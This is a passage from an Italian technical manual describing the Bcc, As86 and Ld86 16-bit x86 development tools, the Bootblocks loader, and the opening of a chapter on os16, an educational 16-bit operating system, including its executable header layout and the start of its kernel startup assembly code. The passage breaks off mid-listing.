I nomi delle variabili e delle funzioni scritte in linguaggio C, si traducono nel linguaggio assemblatore in nomi preceduti dal trattino basso. Per esempio, la funzione ***main()***, diventa il simbolo '**_main**'. Per questa ragione, quando si scrivono porzioni di codice in linguaggio assemblatore da esportare, occorre ricordare di aggiungere un trattino basso all'inizio.

A meno di voler produrre programmi per il sistema operativo ELKS, il compilatore Bcc va utilizzato con l'opzione '**-c**', oppure '**-S**', per poter controllare i passaggi successivi, in particolare la fase di collegamento dei vari componenti.

94.3.3 As86

As86 è un assemblatore in linguaggio x86, adatto alla compilazione di quanto prodotto da Bcc. La sintassi usata da As86 è fondamentalmente quella Intel.

```
as86 [opzioni] file_s
```

Tabella 94.53. Alcune opzioni per l'uso di As86.

Opzione	Descrizione
`-0`	Compila nella modalità a 16 bit e avvisa quando incontra istruzioni che non sono adatte a CPU 8086/8088.
`-o` ***nome***	Produce un file oggetto con il nome specificato.
`-s` ***nome***	Produce un file di testo contenente l'elenco dei simboli individuati. Questa opzione può essere usata assieme a '**-o**'.
`-u`	Fa in modo che i simboli privi di una dichiarazione siano importati dall'esterno senza specificare il segmento.

L'esempio seguente rappresenta una situazione di utilizzo comune, in cui si produce il file oggetto '`mio.o`', a partire dal sorgente '`mio.s`':

$ **as86 -u -0 -o mio.o mio.s** [*Invio*]

Come precisato a proposito di Bcc, se si devono importare dei simboli dal codice C, occorre aggiungere un trattino basso all'inizio dei nomi.

94.3.4 Ld86

Ld86 è il «collegatore» (*linker*) associato a As86. La caratteristica di Ld86 è quella di poter produrre un eseguibile «impuro» (come viene definito nella sua pagina di manuale), per il quale il segmento usato dal codice è lo stesso usato per i dati (***CS***==***DS***==***SS***), oppure può tenere separati il codice e i dati in segmenti distinti (ma in tal caso vale ancora l'uguaglianza ***DS***==***SS***).

Nella pagina di manuale di Ld86 si parla di «I&D», ovvero di istruzioni e dati, che possono essere separati o meno.

```
ld86 [opzioni] file_o...
```

Tabella 94.54. Alcune opzioni per l'uso di Ld86.

Opzione	Descrizione
`-d`	Elimina l'intestazione dal file che va a essere generato. L'utilizzo di questa opzione implica l'uso di '**`-s`**'.
`-s`	Elimina i simboli.
`-o` ***nome***	Produce un file eseguibile con il nome specificato.
`-i`	Tiene separati il segmento usato dal codice rispetto a quello dei dati. In mancanza di questa opzione, il segmento è lo stesso.

L'esempio seguente mostra la creazione di un programma, privo di intestazione e di simboli, dove tutto viene così definito attraverso il codice in modo esplicito. In particolare, si presume che il file '`crt0.o`' sia realizzato in modo da definire esattamente la forma della prima parte del file eseguibile.

`$` **`ld86 -d -s -o kimage crt0.o body.o main.o`**[*Invio*]

Ld86 definisce implicitamente dei simboli, raggiungibili dal codice che si scrive. Tra questi, sono molto importanti quelli seguenti, con cui è possibile determinare la collocazione in memoria del programma, distinguendo tra codice e dati:

Simbolo per As86	Nome per Bcc	Descrizione
`__etext`	`_etext`	Variabile a 16 bit contenente l'indirizzo conclusivo dell'area usata dal codice, nell'ambito del segmento in cui si colloca.
`__edata`	`_edata`	Variabile a 16 bit contenente l'indirizzo conclusivo dell'area usata dai dati inizializzati, nell'ambito del segmento in cui si colloca.
`__end`	`_end`	Variabile a 16 bit contenente l'indirizzo conclusivo dell'area usata dai dati non inizializzati (BSS), esclusa la pila, nell'ambito del segmento in cui si colloca.
`__segoff`	`_segoff`	Variabile a 16 bit contenente la distanza tra l'inizio del segmento codice e l'inizio di quello usato per i dati, espressa in multipli di 16 bit. In presenza di eseguibili in cui il segmento è lo stesso, questo valore è zero.

In generale, la struttura di un file eseguibile prodotto da Ld86 è composta inizialmente dal codice, quindi continua con i dati inizializzati. Lo spazio dei dati non inizializzati non fa parte del file e deve essere previsto quando si carica il file in memoria, per metterlo in esecuzione; inoltre, lo stesso va fatto per la pila (*stack*) dei dati, la quale deve collocarsi dopo tale area.

Figura 94.56. Contenuto di un programma privo di intestazione e di simboli.

94.3.5 Bootblocks

Il pacchetto Bootblocks[3] consente di avviare un sistema per elaboratori x86-16, contenuto in un dischetto o in una partizione del disco fisso, con il kernel inserito nello stesso file system. Il pacchetto viene distribuito assieme agli strumenti di sviluppo Dev86, ma non viene compilato automaticamente assieme a quelli. Si trova precisamente nella sottodirectory '`bootblocks/`' dei sorgenti di Dev86. Si compila in modo molto semplice con il comando '**`make`**':

\# **`cd`** ***sorgenti_dev86*** **`/bootblocks`** [*Invio*]

\# **`make`** [*Invio*]

Dalla compilazione si ottengono diversi file e sono utili in particolare:

File	Descrizione
'**`makeboot`**'	programma per l'installazione del settore di avvio, da usare attraverso un sistema GNU/Linux comune;
'**`makeboot.com`**'	programma analogo a '**`makeboot`**', da usare con un sistema Dos.

Per avviare un programma autonomo o un kernel vero e proprio, in un dischetto con file system Minix 1, è sufficiente copiare tale file in modo che si trovi nella directory principale con il nome '`boot`', oppure si crea la directory '`/boot/`' e vi si colloca il file con il nome che si preferisce.

Supponendo di utilizzare un sistema GNU/Linux, supponendo di avere preparato il dischetto Minix (con i nomi al massimo di 14 byte) contenente tutto quello che serve, soprattutto con la directory '`/boot/`' o con il file '`boot`', se questo dischetto risulta inserito nell'unità corrispondente al file di dispositivo '`/dev/fd0`', **senza essere stato innestato**, si può eseguire il comando seguente, tenendo conto che il programma '**`makeboot`**' si presume collocato in una directory prevista tra i vari percorsi della variabile di ambiente '**`PATH`**':

\# **`makeboot minix /dev/fd0`** [*Invio*]

```
Wrote sector 0
Wrote sector 1
```

Se il programma si accorge che il settore di avvio del dischetto contiene già qualcosa, si rifiuta di procedere, a meno di usare l'opzione '**-f**':

makeboot -f minix /dev/fd0 [*Invio*]

```
Boot block isn't empty, zap it first
Wrote sector 0
Wrote sector 1
```

È importante sapere che questo programma di avvio colloca in memoria il programma o il kernel da avviare a partire dall'indirizzo efficace 10000_{16}. Pertanto, dopo l'avvio effettivo, rimane inutilizzato lo spazio di memoria da 00500_{16} $0FFFF_{16}$.

94.4 Riferimenti

- Andrew S. Tanenbaum, *Operating Systems: Design and Implementation*, **prima edizione**, 1987, Prentice-Hall, ISBN 0-13-637406-9

  Appendice B: *introduction to the IBM PC*
- MAD, *Assembly tutorial*

  ⟨*http://www.xs4all.nl/~smit/asm01001.htm*⟩
- Wikipedia, *x86 instruction listings*

  ⟨*http://en.wikipedia.org/wiki/X86_instruction_listings*⟩
- *The x86 Interrupt List, aka "Ralf Brown's Interrupt List", "RBIL"*

  ⟨*http://www.cs.cmu.edu/~ralf/files.html*⟩
- *Computer interrupt*

  ⟨*http://calab.kaist.ac.kr/~hyoon/courses/cs310_2001fall/micro17.ppt*⟩

  ⟨*http://www.ece.msstate.edu/~reese/EE3724/lectures/interrupt/interrupt.pdf*⟩
- BiosCentral, *BIOS data area*

  ⟨*http://www.bioscentral.com/misc/bda.htm*⟩
- Robert de Bath, *Linux 8086 development environment*

  ⟨*http://homepage.ntlworld.com/robert.debath/*⟩

  ⟨*http://homepage.ntlworld.com/robert.debath/dev86/*⟩

[1] **Bcc, As86, Ld86** GNU GPL

[2] Va specificato che si tratta del compilatore Bcc di Bruce Evans, perché con questo nome o con questa sigla si trovano più facilmente riferimenti a compilatori C diversi, per esempio quello di Borland.

[3] **Bootblocks** GNU GPL

Capitolo 95

Studio per un sistema a 16 bit

95.1 Introduzione a os16 5633

95.1.1 Organizzazione 5634
95.1.2 Le directory 5634
95.1.3 La struttura degli eseguibili 5635
95.1.4 Caricamento del kernel 5636
95.1.5 Informazioni diagnostiche 5636
95.1.6 Tabelle 5636
95.1.7 Guida di stile 5637
95.1.8 Tipi derivati speciali 5639

95.2 Caricamento ed esecuzione del kernel 5640

95.2.1 Dal file su disco alla copia in memoria 5640
95.2.2 File «kernel/main/crt0.s» 5641
95.2.3 File «kernel/main.h» e «kernel/main/*» 5644

95.3 Funzioni interne legate all'hardware 5648

95.3.1 Libreria: «lib/sys/os16.h» e «lib/sys/os16/...» 5648
95.3.2 Funzioni di basso livello dei file «kernel/ibm_i86/*» 5649
95.3.3 Gestione della console 5652
95.3.4 Gestione dei dischi 5653

95.4 Gestione della memoria 5655

95.4.1 File «kernel/memory.h» e «kernel/memory/...» 5656
95.4.2 Scansione della mappa di memoria 5657

95.5 Gestione dei terminali virtuali 5659

95.6 Dispositivi 5660

95.6.1 File «lib/sys/os16.h» e directory «lib/sys/os16/» 5660
95.6.2 File «kernel/devices.h» e «kernel/devices/...» 5660
95.6.3 Numero primario e numero secondario 5662
95.6.4 Dispositivi previsti 5663

95.7 Gestione del file system 5664

95.7.1 File «kernel/fs/sb_...» 5665
95.7.2 File «kernel/fs/zone_...» 5666
95.7.3 File «kernel/fs/inode_...» 5667
95.7.4 Fasi dell'innesto di un file system 5671
95.7.5 File «kernel/fs/file_...» 5672

95.7.6 Descrittori di file 5674
95.7.7 File «kernel/fs/path_...» 5674
95.7.8 File «kernel/fs/fd_...» 5676

95.8 Gestione dei processi 5678

95.8.1 File «kernel/proc/_isr.s» e «kernel/proc/_ivt_load.s» 5678
95.8.2 La tabella dei processi 5686
95.8.3 Chiamate di sistema 5688
95.8.4 File «kernel/proc/...» 5689

95.9 Caricamento ed esecuzione delle applicazioni 5693

95.9.1 Caricamento in memoria 5694
95.9.2 Il codice iniziale dell'applicativo 5695

addr_t 5639 5656 bp() 5649 cli() 5650 con_char_read() 5652 con_char_ready() 5652 con_char_wait() 5652 con_init() 5652 con_putc() 5652 con_scroll() 5652 con_select() 5652 crt0.s 5641 cs() 5649 devices.h 5660 devices/dev_tty.c 5660 DEV_CONSOLE 5663 DEV_CONSOLE*n* 5663 dev_dsk.c 5660 DEV_DSK*n* 5663 dev_io() 5660 dev_io.c 5660 dev_kmem.c 5660 DEV_KMEM_FILE 5663 DEV_KMEM_INODE 5663 DEV_KMEM_MMP 5663 DEV_KMEM_PS 5663 DEV_KMEM_SB 5663 DEV_MEM 5663 DEV_NULL 5663 DEV_PORT 5663 DEV_TTY 5663 DEV_ZERO 5663 diag.h 5636 directory_t 5639 ds() 5649 dsk_chs_t 5639 5653 dsk_read_bytes() 5654 dsk_read_sectors() 5654 dsk_reset() 5654 dsk_sector_to_chs() 5654 dsk_setup() 5654 dsk_t 5639 5653 dsk_write_bytes() 5654 dsk_write_sectors() 5654 es() 5649 fd_chmod() 5677 fd_chown() 5677 fd_close() 5677 fd_dup() 5677 fd_dup2() 5677 fd_fcntl() 5677 fd_lseek() 5677 fd_open() 5677 fd_read() 5677 fd_reference() 5677 fd_stat() 5677 fd_t 5639 fd_write() 5677 file_reference() 5673 file_stdio_dev_make() 5673 file_t 5639 5672 fs.h 5664 ibm_i86.h 5648 inode_alloc() 5669 inode_check() 5669 inode_dir_empty() 5669 inode_file_read() 5669 inode_file_write() 5669 inode_fzones_read() 5669 inode_get() 5669 inode_put() 5669 inode_reference() 5669 inode_save() 5669 inode_t 5639 5667 inode_truncate() 5669 inode_zone() 5669 int10_00() 5650 int10_02() 5650 int10_05() 5650 int12() 5650 int13_00() 5650 int13_02() 5650 int13_03() 5650 int16_00() 5650 int16_01() 5650 int16_02() 5650 in_16() 5650 in_8() 5650 irq_off() 5650 irq_on() 5650 kernel/memory.c 5656 main() 5644 mb_alloc() 5656 mb_alloc_size() 5656 mb_free() 5656 mb_reference() 5656 memory.h 5656 memory_t 5639 5656 MEM_BLOCK_SIZE 5656 mem_copy() 5657 MEM_MAX_BLOCKS 5656 mem_read() 5657 mem_write() 5657 offset_t 5639 5656 os16.h 5648 5660 out_16() 5650 out_8() 5650 path_chdir() 5675 path_chmod() 5675 path_chown() 5675 path_device() 5675 path_fix() 5675 path_full() 5675 path_inode() 5675 path_inode_link() 5675 path_link() 5675 path_mkdir() 5675 path_mknod() 5675 path_mount() 5675 path_stat() 5675 path_umount() 5675 path_unlink() 5675 proc.h 5678 proc_init() 5690 proc_reference() 5689 proc_scheduler() 5692

proc_t 5686 ram_copy() 5650 sb_inode_status() 5666 sb_mount() 5666 sb_reference() 5666 sb_save() 5666 sb_t 5639 5665 sb_zone_status() 5666 segment_t 5639 5656 seg_d() 5649 seg_i() 5649 sp() 5649 ss() 5649 sti() 5650 sysroutine() 5688 5690 tty.h 5659 tty_console() 5659 tty_init() 5659 tty_read() 5659 tty_reference() 5659 tty_t 5639 tty_write() 5659 zno_t 5639 zone_alloc() 5667 zone_free() 5667 zone_read() 5667 zone_write() 5667 _bp() 5649 _cs() 5649 _ds() 5649 _es() 5649 _int10_00() 5650 _int10_02() 5650 _int10_05() 5650 _int12() 5650 _int13_00() 5650 _int13_02() 5650 _int13_03() 5650 _int16_00() 5650 _int16_01() 5650 _int16_02() 5650 _in_16() 5650 _in_8() 5650 _isr.s 5678 _ivt_load.s 5678 _out_16() 5650 _out_8() 5650 _ram_copy() 5650 _seg_d() 5649 _seg_i() 5649 _sp() 5649 _ss() 5649

95.1 Introduzione a os16

os16 è uno studio che applica qualche rudimento relativo ai sistemi operativi, basandosi sull'architettura x86-16 del vecchio IBM PC, utilizzando come strumenti di sviluppo Bcc, As86 e Ld86 (oltre a GNU GCC per controllare meglio la sintassi del codice C), su un sistema GNU/Linux. Il risultato non è un sistema operativo utilizzabile, ma una struttura su cui poter fare esperimenti e di cui è possibile mostrare (in termini tipografici) ed eventualmente descrivere ogni riga di codice.

os16 contiene uno schedulatore banale e molto limitato, un'organizzazione dei processi ad albero e una funzionalità limitata di amministrazione dei segnali, una gestione del file system Minix 1 (ma di unità intere, senza partizioni), una shell banale e qualche programma di servizio di esempio.

Per poter giungere rapidamente a un risultato e comunque per semplificare il codice, os16 utilizza le funzioni del BIOS tradizionale, le quali hanno lo svantaggio di impegnare in modo esclusivo l'elaboratore nel momento del loro funzionamento (dato che non possono essere rientranti). È noto che un sistema operativo multiprogrammato dignitoso non può avvalersi di tali funzionalità; pertanto, se si vuole studiare os16, non va dimenticato questo principio, benché qui sia stato trascurato.

Il kernel di os16 è monolitico, nel senso che incorpora tutte le proprie funzioni in un solo programma. Purtroppo, la dimensione del codice del kernel (e di qualunque altro processo di os16) non può superare i 64 Kibyte, ma la sua dimensione è già molto vicina a tale valore. Pertanto, non è possibile aggiungere funzionalità a questo sistema. Si può osservare che anche ELKS (⟨*http://elks.sourceforge.net/*⟩) soffra dello stesso limite e, d'altra parte, si può apprezzare come Minix 2 (⟨*http://minix1.woodhull.com/*⟩) riesca a superarlo attraverso un'organizzazione a micro-kernel.

95.1.1 Organizzazione

Tutti i file di os16 dovrebbero essere disponibili a partire da ⟨*allegati/os16*⟩. In particolare i file '`floppy.a`' e '`floppy.b`' sono le immagini di due dischetti da 1440 Kibyte, contenenti un file system Minix 1: il primo predisposto attraverso Bootblocks (sezione 94.3.5) per l'avvio di un kernel denominato '`boot`'; il secondo usato per essere innestato nella directory '`/usr/`' del primo.

Gli script preparati per lo sviluppo di os16 prevedono che i file-immagine dei dischetti vadano innestati nelle directory '`/mnt/os16.a/`' e '`/mnt/os16.b/`'. Pertanto, se si ricompila os16, tali directory vanno predisposte (oppure vanno modificati gli script con l'organizzazione che si preferisce attuare).

Per la verifica del funzionamento del sistema, è previsto l'uso equivalente di Bochs o di Qemu. Per questo scopo sono disponibili gli script '`bochs`' e '`qemu`' (rispettivamente i listati 105.1.1 e 105.1.2), con le opzioni necessarie a operare correttamente.

Per la compilazione del lavoro si usa lo script '`makeit`' (listato 105.1.3), il quale ricrea ogni volta i file-make, basandosi sui file presenti effettivamente nelle varie directory previste. Questo script, alla fine della compilazione, copia il kernel nel file-immagine del primo dischetto (purché risulti innestato come previsto nella directory '`/mnt/os16.a/`') e con esso copia anche gli applicativi principali, mentre il resto viene copiato nel secondo.

Nello script '`makeit`', la variabile di ambiente '**`TAB`**' deve contenere esattamente il carattere di tabulazione (*<HT>*), corrispondente al codice 09_{16}. Il file che viene distribuito contiene invece l'assegnamento di uno spazio puro e semplice, che va modificato a mano, sostituendolo con tale codice. La riga da modificare è quella in cui la variabile viene dichiarata:

```
local TAB=" "
```

Va osservato che il lavoro si basa su un file system Minix 1 (sezione 79.7) perché è molto semplice, ma soprattutto, la prima versione è quella che può essere utilizzata facilmente in un sistema operativo GNU/Linux (sul quale avviene lo sviluppo di os16). È bene sottolineare che si tratta della versione con nomi da 14 caratteri, ovvero quella tradizionale del sistema operativo Minix, mentre nei sistemi GNU/Linux, la creazione predefinita di un file system del genere produce una versione particolare, con nomi da 30 caratteri.

95.1.2 Le directory

Gli script descritti nella sezione precedente, si trovano all'inizio della gerarchia prevista per os16. Le directory successive dividono in modo molto semplice le varie componenti per la compilazione:

Directory	Contenuto
'`applic/`'	File delle applicazioni da usare con os16.
'`kernel/`'	File per la realizzazione del kernel, inclusi i file di intestazione specifici.
'`lib/`'	File di intestazione generali, file della libreria C per le applicazioni e, per quanto possibile, anche per il kernel.
'`ported/`'	Applicativi di altri autori, adattati per os16.
'`skel/`'	Scheletro del file system complessivo, con i file di configurazione e le pagine di manuale.

La libreria C non è completa, limitandosi a contenere ciò che serve per lo stato di avanzamento attuale del lavoro. Si osservi che nella directory '`lib/bcc/`' si collocano file contenenti una libreria di funzioni in linguaggio assemblatore, necessaria al compilatore Bcc per compiere il proprio lavoro correttamente con valori da 32 bit. Tale libreria è scritta dall'autore originale di Bcc, Bruce Evans, e viene inclusa in modo da garantire che la compilazione non richieda alcun file estraneo.

95.1.3 La struttura degli eseguibili

Nell'ottica della massima semplicità, gli eseguibili di os16 hanno un'intestazione propria, schematizzata dalla figura successiva. Tale intestazione viene ottenuta attraverso il file '`crt0.s`', che è comunque differente se si tratta di un applicativo o del kernel.

Figura 95.2. Struttura iniziale dei file eseguibili di os16.

applicativo — 32 bit, 4 byte

0000	*jmp 0016*	0000
0004	6F733136	
0008	6170706C	
000C	*d offset*	*end text*
0010	*end data*	*end bss*
0014	*stack size*	

kernel — 32 bit, 4 byte

0000	*jmp 0016*	0000
0004	6F733136	
0008	6B67726E	
000C	*d offset*	*end text*
0010	*end data*	*end bss*
0014	*stack size*	

Nella figura si mettono a confronto la parte iniziale dell'eseguibile di un applicativo con quella del kernel di os16. Nei primi quattro byte c'è un'istruzione di salto al codice che si trova subito dopo l'intestazione, quindi appare un'impronta di riconoscimento che occupa quattro byte. Tale impronta è la rappresentazione esadecimale della stringa «os16». Successivamente appare un'altra impronta, con cui si distingue se si tratta di un applicativo o del kernel; si tratta in pratica della sequenza di «appl», oppure di «kern». Tuttavia, a causa dell'inversione dell'ordine dei byte, in pratica, se si visualizza il file binario si legge «61so», «lppa» e «nrek».

Dopo l'impronta di riconoscimento si trovano, rispettivamente, lo scostamento del segmento dati, espresso in multipli di 16 (in pratica, 1234_{16} rappresenterebbe uno scostamento di 12340_{16} byte, rispetto all'inizio del codice), gli indirizzi conclusivi dell'area del codice, dei dati inizializzati e di quelli non inizializzati. Alla fine viene indicata la dimensione richiesta per la pila dei dati. Ciò che appare dopo è il codice del programma.

Il kernel e gli applicativi di os16 sono compilati in modo da rendere indipendenti l'area del codice rispetto a quella dei dati (si dice che hanno aree «I&D separate»).

Nel caso del kernel, le informazioni successive alle impronte di riconoscimento non vengono utilizzate, perché il kernel viene collocato in uno spazio preciso in memoria: l'area dati va a trovarsi dall'indirizzo efficace 00500_{16} fino a $104FF_{16}$ incluso, mentre l'area del codice inizia da 10500_{16} fino alla fine.

Per fare in modo che il proprio sistema GNU possa riconoscere correttamente questi file, si può modificare la configurazione del file '/etc/magic', aggiungendo le righe seguenti:

```
4      quad      0x6B65726E6F733136      os16 kernel
4      quad      0x6170706C6F733136      os16 application
```

95.1.4 Caricamento del kernel

Il kernel è preparato per trovarsi inizialmente in memoria, tale e quale al file da cui viene caricato, a partire dall'indirizzo efficace 10000_{16}, così come avviene quando si utilizza Bootblocks (a cui si è già accennato nel capitolo). Successivamente il kernel stesso si sposta, copiandosi inizialmente a partire dall'indirizzo efficace 30000_{16}, quindi suddividendosi e mettendo la propria area dati a partire dall'indirizzo 00500_{16} e l'area codice da 10500_{16} (lo spazio di memoria che va da 00000_{16} a $004FF_{16}$ incluso, non può essere utilizzato, perché contiene la tabella IVT e l'area BDA, secondo l'architettura degli elaboratori IBM PC tradizionali).

95.1.5 Informazioni diagnostiche

Nel codice del kernel vengono usate, in varie occasioni, delle funzioni che hanno lo scopo di visualizzare delle informazioni diagnostiche. Queste funzioni sono raccolte in file della directory 'kernel/diag/', a cui si abbina il file di intestazione 'kernel/diag.h' (listato 105.3 e successivi). In generale, in questa documentazione, non viene dato molto spazio alla descrizione di queste funzioni, perché hanno un ruolo marginale e sono fatte per essere modificate in base alle esigenze di verifica del momento.

95.1.6 Tabelle

Nel codice del kernel si utilizzano spesso delle informazioni organizzate in memoria in forma di tabella. Si tratta precisamente di array, le cui celle sono costituite generalmente da variabili strutturate. Queste tabelle, ovvero gli array che le rappresentano, sono dichiarate come variabili pubbliche; tuttavia, per facilitare l'accesso ai rispettivi elementi e per uniformità di comportamento, viene abbinata loro una funzione, con un nome terminante per '...**_reference()**', con cui si ottiene il puntatore a un certo elemento della tabella, fornendo gli argomenti appropriati. Per esempio, la tabella degli inode in corso di utilizzazione viene dichiarata così nel file 'kernel/inode/inode_table.c':

```
inode_t inode_table[INODE_MAX_SLOTS];
```

Successivamente, la funzione ***inode_reference()*** offre il puntatore a un certo inode:

```
inode_t *inode_reference (dev_t device, ino_t ino);
```

95.1.7 Guida di stile

Per cercare di dare un po' di uniformità al codice del kernel e a quello della libreria, dove possibile, i nomi delle variabili seguono una certa logica, riassunta dalla tabella successiva.

Tipo	Nome	Utilizzo
inode_t *	inode inode_...	Puntatore a un inode (puntatore a un elemento della tabella di inode).
ino_t	ino ino_...	Numero di inode, nell'ambito di un certo super blocco (ammesso che sia abbinato effettivamente a un dispositivo).
int	fdn fdn_...	Numero del descrittore di un file (indice all'interno della tabella dei descrittori).
fd_t *	fd fd_...	Puntatore a un descrittore di file (puntatore a un elemento della tabella di descrittori).
int	fno fno_...	Numero del file di sistema (indice all'interno della tabella dei file di sistema).
zno_t	zone zone_...	Numero assoluto di una «zona» del file system Minix.
zno_t	fzone fzone_...	Numero relativo di una «zona» del file system Minix. In questo caso, il numero della zona è relativo al file, dove la prima zona del file ha il numero zero.
off_t	offset offset_... off_...	Scostamento, secondo il significato del tipo derivato '**off_t**'.
size_t ssize_t	size size_...	Dimensione, secondo il significato dei tipi derivati '**size_t**' o '**ssize_t**'.
size_t ssize_t	count count_...	Quantità, quando il tipo '**size_t**' è appropriato.
blkcnt_t	blkcnt blkcnt_...	Quantità espressa in blocchi del file system (in questo caso, trattandosi di un file system Minix 1, si intendono zone).
blksize_t	blksize blksize_...	Dimensione del blocco del file system, espressa in byte (in questo caso, trattandosi di un file system Minix 1, si intende la dimensione della zona).

Tipo	Nome	Utilizzo
`int`	`fno` `fno_...`	Numero di file system.
`int`	`oflags` `oflags_...`	Opzioni relative all'apertura di un file, annotate nella tabella dei file di sistema: indicatori di sistema.
`int`	`status` `status_...`	Valore intero restituito da una funzione, quando la risposta contiene solo l'indicazione di un successo o di un insuccesso.
`void *`	`pstatus`	Puntatore restituito da una funzione, quando interessa sapere solo se si tratta di un esito valido.
`char *`	`path` `path_...`	Percorso del file system.
`dev_t`	`device` `device_...`	Numero di dispositivo, contenente sia il numero primario, sia quello secondario (*major*, *minor*).
`int`	`n` `n_...`	Dimensione di qualcosa, di tipo '**`int`**'.
`char *`	`string` `string_...`	Area di memoria da considerare come stringa.
`void *`	`buffer` `buffer_...`	Area di memoria destinata ad accogliere un'informazione di tipo imprecisato.
`int`	`n` `n_...`	Dimensione o quantità di qualcosa, espressa attraverso il tipo '**`int`**'.
`int`	`c` `c_...`	Un carattere senza segno trasformato nel tipo '**`int`**'.
`struct stat`	`st` `st_...`	Variabile strutturata usata per rappresentare lo stato di un file, secondo il tipo '**`struct stat`**'.
`FILE *`	`fp` `fp_...`	Puntatore che rappresenta un flusso di file.
`DIR *`	`dp` `dp_...`	Puntatore che rappresenta un flusso relativo a una directory.

Tipo	Nome	Utilizzo
struct dirent	dir dir_...	Variabile strutturata contenente le informazioni su una voce di una directory.
struct password	pws pws_...	Variabile strutturata contenente le informazioni di una voce del file '/etc/passwd'.
struct tm	tms tms_...	Variabile strutturata contenente le componenti di un orario.
struct tm *	timeptr timeptr_...	Puntatore a una variabile strutturata contenente le componenti di un orario.

95.1.8 Tipi derivati speciali

Nel codice del kernel si usano dei tipi derivati speciali, riassunti nella tabella successiva.

File di intestazione	Tipo speciale	Descrizione
'kernel/memory.h'	addr_t	Variabile scalare, in grado di rappresentare un indirizzo efficace di memoria (un indirizzo che vada da 00000_{16} a $FFFFF_{16}$).
'kernel/memory.h'	segment_t	Variabile scalare, a 16 bit, usata per rappresentare il valore di un registro di segmento.
'kernel/memory.h'	offset_t	Variabile scalare, a 16 bit, usata per rappresentare lo scostamento di memoria, a partire dall'inizio di un segmento. Questo tipo di variabile non va confuso con il tipo '**off_t**', il quale è un valore con segno e di rango maggiore rispetto a questo '**offset_t**'.
'kernel/memory.h'	memory_t	Variabile strutturata, adatta a contenere tutte le coordinate utili a individuare una certa area di memoria, secondo l'architettura prevista da os16.
'kernel/tty.h'	tty_t	Variabile strutturata, adatta a contenere le informazioni e lo stato di un terminale.
'kernel/ibm_i86.h'	dsk_t	Variabile strutturata, adatta a contenere le informazioni hardware di una certa unità di memorizzazione.
'kernel/ibm_i86.h'	dsk_chs_t	Variabile strutturata, adatta a contenere le coordinate di un certo settore (cilindro, testina e settore) in un'unità di memorizzazione.
'kernel/fs.h'	zno_t	Variabile scalare, per rappresentare un numero di una zona, secondo la terminologia del file system Minix.
'kernel/fs.h'	sb_t	Variabile strutturata, adatta a contenere tutte le informazioni di un super blocco, relativo a un dispositivo di memorizzazione innestato.
'kernel/fs.h'	inode_t	Variabile strutturata, adatta a contenere tutte le informazioni di un inode aperto nel sistema.

File di intestazione	Tipo speciale	Descrizione
'kernel/fs.h'	file_t	Variabile strutturata, adatta a contenere i dati di un file di sistema.
'kernel/fs.h'	fd_t	Variabile strutturata, adatta a contenere i dati di un descrittore di file, ovvero del file di un certo processo elaborativo.
'kernel/fs.h'	directory_t	Variabile strutturata, adatta a contenere una voce di una directory.

95.2 Caricamento ed esecuzione del kernel

Il kernel di os16 (ma così vale anche per gli applicativi) viene compilato senza un'intestazione predefinita, pertanto questa viene costruita nel primo file: 'crt0.s'. Questo file ha lo scopo di eseguire la funzione ***main()*** del kernel, in cui si sintetizza il funzionamento dello stesso.

95.2.1 Dal file su disco alla copia in memoria

Il file del kernel prodotto dagli strumenti di sviluppo è strutturato come sintetizza il disegno seguente:

La prima parte del file è utilizzata dal codice (*text*), quindi ci può essere un piccolissimo spazio inutilizzato, seguito dalla porzione che riguarda i dati, tenendo conto che nel file ci sono solo i dati inizializzati, mentre gli altri non hanno bisogno di essere rappresentati, ma in memoria occupano comunque il loro spazio.

Il kernel è organizzato per tenere separate l'area delle istruzioni da quella dei dati, pertanto il compilatore (precisamente il «collegatore», ovvero il *linker*) offre il simbolo ***__segoff***, con il quale si conosce la distanza del segmento dei dati dall'inizio del file. Il valore di questo scostamento è espresso in «paragrafi», ovvero in multipli di 16; in pratica si tratta dello scostamento da utilizzare in un registro di segmento. Dal momento che lo scostamento effettivo è costituito dalla dimensione dell'area del codice, approssimata per eccesso ai 16 byte successivi, tra la fine dell'area codice e l'inizio di quella dei dati c'è quel piccolo spazio vuoto a cui già si è fatto riferimento.

Il kernel viene caricato in memoria, con l'ausilio di Bootblocks, all'indirizzo 10000_{16}. Da lì il kernel si mette in funzione e, prima si copia all'indirizzo 30000_{16}, quindi riprende a funzionare dal nuovo indirizzo, poi si copia mettendo i dati a partire dall'indirizzo 00500_{16} (dopo la tabella IVT e dopo l'area BDA) e il codice a partire dall'indirizzo 10500_{16}. Alla fine, riprende a funzionare dall'indirizzo 10500_{16}. La pila dei dati (*stack*) viene attivata solo quando il kernel ha trovato la sua collocazione definitiva.

95.2.2 File «kernel/main/crt0.s»

Listato 105.7.2.

Dopo il preambolo in cui si dichiarano i simboli esterni e quelli interni da rendere pubblici, con l'istruzione '**`entry startup`**' si dichiara all'assemblatore che il punto di partenza è costituito dal simbolo '**`startup`**', ma in ogni caso questo deve essere all'inizio del codice, mancando un'intestazione precostituita. In pratica, la primissima cosa che si ottiene nel file eseguibile finale è un'istruzione di salto a una posizione più avanzata del codice, dove si colloca il simbolo '**`startup_code`**', e nello spazio intermedio (tra quell'istruzione di salto e il codice che si trova a partire da '**`startup_code`**') si collocano le impronte di riconoscimento, oltre ai dati sulla dislocazione dell'eseguibile in memoria.

```
…
entry startup
…
startup:
    jmp startup_code
…
startup_code:
…
```

Tra la prima istruzione di salto e le impronte di riconoscimento, introdotte dal simbolo '**magic**', c'è uno spazio vuoto (nullo), calcolato automaticamente in modo da garantire che la prima impronta inizi all'indirizzo relativo 0004_{16}. Di seguito vengono gli altri dati.

```
…
startup:
    jmp startup_code
filler:
    .space (0x0004 - (filler - startup))
magic:
    .data4 0x6F733136
    .data4 0x6B65726E
segoff:
    .data2 __segoff
etext:
    .data2 __etext
edata:
    .data2 __edata
ebss:
    .data2 __end
stack_size:
    .data2 0x0000
.align 2
startup_code:
…
```

A partire da '**startup_code**' viene analizzato il valore effettivo del registro ***CS***. Se questo è pari a 1000_{16}, significa che il kernel si trova in memoria a partire dall'indirizzo efficace 10000_{16}, ma in tal caso si salta a una procedura che copia il kernel in un'altra posizione di memoria (30000_{16}); se invece il valore di ***CS*** viene riconosciuto pari a quello della destinazione della prima copia, si passa a un'altra procedura che scompone l'area dati e l'area codice (testo) del kernel, in modo da collocare l'area dati a partire da 00500_{16} e l'area codice a partire da 10500_{16}. Quando si riconosce che il valore di ***CS*** è quello finale, si salta al simbolo '**main_code**' e da lì inizia il lavoro vero e proprio.

```
…
startup_code:
    mov cx, cs
    xor cx, #0x1000
```

```
    jcxz move_code_from_0x1000_to_0x3000
